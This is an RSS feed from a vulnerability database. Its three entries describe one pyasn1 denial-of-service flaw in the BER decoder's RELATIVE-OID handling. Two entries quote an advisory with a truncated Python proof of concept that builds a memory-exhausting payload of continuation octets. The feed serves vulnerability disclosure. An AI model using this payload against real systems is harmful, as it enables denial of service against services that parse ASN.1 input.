<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 28 Sep 2026 07:52:26 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-23490 — pyasn1 has a DoS vulnerability in decoder</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-23490</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; pyasn1, Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9, Red Hat Ansible Automation Platform 2.6 for RHEL 9, Red Hat Enterprise Linux 10, Red Hat Enterprise Linux 10.0 Extended Update Support, Red Hat Enterprise Linux 7 Extended Lifecycle Support, Red Hat Enterprise Linux 8, Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support and 40 more&lt;/p&gt;
&lt;p&gt;pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; pyasn1, Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9, Red Hat Ansible Automation Platform 2.6 for RHEL 9, Red Hat Enterprise Linux 10, Red Hat Enterprise Linux 10.0 Extended Update Support, Red Hat Enterprise Linux 7 Extended Lifecycle Support, Red Hat Enterprise Linux 8, Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support and 40 more&lt;/p&gt;
&lt;p&gt;pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-23490</guid>
    </item>
    <item>
      <title>GHSA-63vm-454h-vhhq — pyasn1 has a DoS vulnerability in decoder</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-63vm-454h-vhhq</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyasn1&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The integer issue can be found in the decoder as `reloid += ((subId &amp;lt;&amp;lt; 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;For the DoS:
```py
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource&lt;/p&gt;
&lt;p&gt;# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print(&amp;#34;[*] Memory limit set to 100MB&amp;#34;)
except:
    print(&amp;#34;[-] Could not set memory limit&amp;#34;)&lt;/p&gt;
&lt;p&gt;# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])&lt;/p&gt;
&lt;p&gt;print(f&amp;#34;[*] Testing with {payload_size_mb}MB payload...&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b&amp;#39;\x81&amp;#39; * payload_size + b&amp;#39;\x00&amp;#39;
length = len(payload)&lt;/p&gt;
&lt;p&gt;# DER length encoding (supports up to 4GB)
if length &amp;lt; 128:
    length_bytes = bytes([length])
elif length &amp;lt; 256:
    length_bytes = b&amp;#39;\x81&amp;#39; + length.to_bytes(1, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**2:
    length_bytes = b&amp;#39;\x82&amp;#39; + length.to_bytes(2, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**3:
    length_bytes = b&amp;#39;\x83&amp;#39; + length.to_bytes(3, &amp;#39;big&amp;#39;)
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b&amp;#39;\x84&amp;#39; + length.t…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyasn1&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The integer issue can be found in the decoder as `reloid += ((subId &amp;lt;&amp;lt; 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;For the DoS:
```py
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource&lt;/p&gt;
&lt;p&gt;# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print(&amp;#34;[*] Memory limit set to 100MB&amp;#34;)
except:
    print(&amp;#34;[-] Could not set memory limit&amp;#34;)&lt;/p&gt;
&lt;p&gt;# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])&lt;/p&gt;
&lt;p&gt;print(f&amp;#34;[*] Testing with {payload_size_mb}MB payload...&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b&amp;#39;\x81&amp;#39; * payload_size + b&amp;#39;\x00&amp;#39;
length = len(payload)&lt;/p&gt;
&lt;p&gt;# DER length encoding (supports up to 4GB)
if length &amp;lt; 128:
    length_bytes = bytes([length])
elif length &amp;lt; 256:
    length_bytes = b&amp;#39;\x81&amp;#39; + length.to_bytes(1, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**2:
    length_bytes = b&amp;#39;\x82&amp;#39; + length.to_bytes(2, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**3:
    length_bytes = b&amp;#39;\x83&amp;#39; + length.to_bytes(3, &amp;#39;big&amp;#39;)
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b&amp;#39;\x84&amp;#39; + length.t…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-63vm-454h-vhhq</guid>
    </item>
    <item>
      <title>PYSEC-2026-1810 — pyasn1 has a DoS vulnerability in decoder</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-1810</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyasn1&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The integer issue can be found in the decoder as `reloid += ((subId &amp;lt;&amp;lt; 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;For the DoS:
```py
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource&lt;/p&gt;
&lt;p&gt;# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print(&amp;#34;[*] Memory limit set to 100MB&amp;#34;)
except:
    print(&amp;#34;[-] Could not set memory limit&amp;#34;)&lt;/p&gt;
&lt;p&gt;# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])&lt;/p&gt;
&lt;p&gt;print(f&amp;#34;[*] Testing with {payload_size_mb}MB payload...&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b&amp;#39;\x81&amp;#39; * payload_size + b&amp;#39;\x00&amp;#39;
length = len(payload)&lt;/p&gt;
&lt;p&gt;# DER length encoding (supports up to 4GB)
if length &amp;lt; 128:
    length_bytes = bytes([length])
elif length &amp;lt; 256:
    length_bytes = b&amp;#39;\x81&amp;#39; + length.to_bytes(1, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**2:
    length_bytes = b&amp;#39;\x82&amp;#39; + length.to_bytes(2, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**3:
    length_bytes = b&amp;#39;\x83&amp;#39; + length.to_bytes(3, &amp;#39;big&amp;#39;)
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b&amp;#39;\x84&amp;#39; + length.t…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyasn1&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The integer issue can be found in the decoder as `reloid += ((subId &amp;lt;&amp;lt; 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;For the DoS:
```py
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource&lt;/p&gt;
&lt;p&gt;# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print(&amp;#34;[*] Memory limit set to 100MB&amp;#34;)
except:
    print(&amp;#34;[-] Could not set memory limit&amp;#34;)&lt;/p&gt;
&lt;p&gt;# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])&lt;/p&gt;
&lt;p&gt;print(f&amp;#34;[*] Testing with {payload_size_mb}MB payload...&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b&amp;#39;\x81&amp;#39; * payload_size + b&amp;#39;\x00&amp;#39;
length = len(payload)&lt;/p&gt;
&lt;p&gt;# DER length encoding (supports up to 4GB)
if length &amp;lt; 128:
    length_bytes = bytes([length])
elif length &amp;lt; 256:
    length_bytes = b&amp;#39;\x81&amp;#39; + length.to_bytes(1, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**2:
    length_bytes = b&amp;#39;\x82&amp;#39; + length.to_bytes(2, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**3:
    length_bytes = b&amp;#39;\x83&amp;#39; + length.to_bytes(3, &amp;#39;big&amp;#39;)
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b&amp;#39;\x84&amp;#39; + length.t…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-1810</guid>
    </item>
  </channel>
</rss>
